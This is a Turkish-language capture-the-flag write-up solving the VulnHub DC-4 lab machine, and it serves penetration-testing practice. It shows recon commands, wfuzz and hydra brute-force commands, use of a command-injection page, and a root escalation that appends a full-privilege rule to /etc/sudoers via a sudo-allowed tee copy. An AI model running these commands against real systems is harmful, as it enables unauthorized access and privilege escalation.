2 minutes
VULNHUB DC-4 Write Up
Merhaba, Bu yazımda sizlere VULNHUB ‘da yer alan DC-4 adlı makinanın çözümünden bahsedeceğim. Keyifli okumalar… 😊
1. Keşif Aşaması
Makina kalıp dosyası siteden indirildikten sonra sanallaştırma yazılımları tarafından import edilir ve çalıştırılır. DHCP servisi tarafından atanan ip adresinin tespit edilmesi için netdiscover aracı ile ağda tarama yapılır.
netdiscover -i eth1
Nmap ile tüm portlar ve açık olan portlarda çalışan servisler tespit edilir.
sudo nmap -sV -sC -p- 192.168.56.113
80 portunda çalışan web servisine tarayıcından istek atılır.
Web dizin taraması yapılır.
gobuster dir -u http://192.168.56.113 -w /usr/share/wordlists/dirb/big.txt -x php,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.56.113
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,php
[+] Timeout: 10s
===============================================================
2020/10/02 08:33:12 Starting gobuster
===============================================================
/command.php (Status: 302)
/css (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/login.php (Status: 302)
/logout.php (Status: 302)
===============================================================
2020/10/02 08:33:26 Finished
===============================================================
Index.php sayfasının login.php sayfasına yönlendirilmiştir. Sqlmap ile login sayfasında Sql Injection açığı için kontrol edildiğinde herhangi bir zafiyet görülmektedir. Login sayfasına admin kullanıcısı için brute-force saldırısı yapılır. Admin kullanıcısı için happy parola bilgisi elde edilir.
wfuzz -c -z file,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10k-most-common.txt --hs incorrect -d "username=admin&password=FUZZ" http://192.168.56.113/login.php
Admin kullanıcısı ile giriş yapılır.
Command sayfasına giriş yapılır.
Burpsuite aracı ile giden istekler incelenir. İstek gönderilirken boşluk karakteri + ile kodlanmaktadır. wget aracı ile shell alıncak dosya yüklenir. Ancak dizine yazma yetkisi sadece root kullanıcısına ait olduğundan başarısız olunur.
ls komutu ile dizinlerde gezinilerek keşif yapılır. jim kullanıcısının home dizini altında bir parola listesi bulunur.
cat komutu ile liste görüntülenir ve localhost’a ssh servisine yapılacak olan brute force saldırısı için kayıt edilir.
Tespit edilen kullanıcılardan wordlist oluşturularak ve hydra aracı ile ssh servisine brute force saldırısı yapılır.
hydra -L user.lst -P pass.lst ssh://192.168.56.113
2. Erişim Sağlanması
Elde edilen bilgiler ile ssh bağlantısı yapılır. Sudo -l
komutu girildiğinde parola istenmektedir. Parola rastgele girildiğinde hatalı deneme kullanıcıya mail olarak gönderilmektedir. /var/mail/ dizini altında yer alan jim dosyası okunarak kullanıcı mail kutusu kontrol edilir. Charles kullanıcısından gelen bir mailde parola bilgisi yer almaktadır. Charles kullanıcısına geçiş yapılır.
3. Yetki Yükseltme
Charles kullanıcısına ait sudo yetkileri kontrol edilir.
Teehee adlı uygulamanın root yetkisi ile kullanılabileceği tespit edilir. Uygulamanın içeriğine bakılır. Uygulamanın tee uygulaması ile aynı olduğu görülür.
strings /usr/bin/teehee
tee uygulaması kendisine gönderilen çıktıyı hem dosyaya hemde standart çıkış olan terminal ekranına basar. Sudoers dosyasına charles kullanıcısının tüm komutlarını çalıştırması için düzenlenme yapılır.
echo "charles ALL=(ALL) ALL" | sudo teehee -a /etc/sudoers
Sudo su
ile root kullanıcısına geçilerek /root dizininde yer alan flag değeri okunur.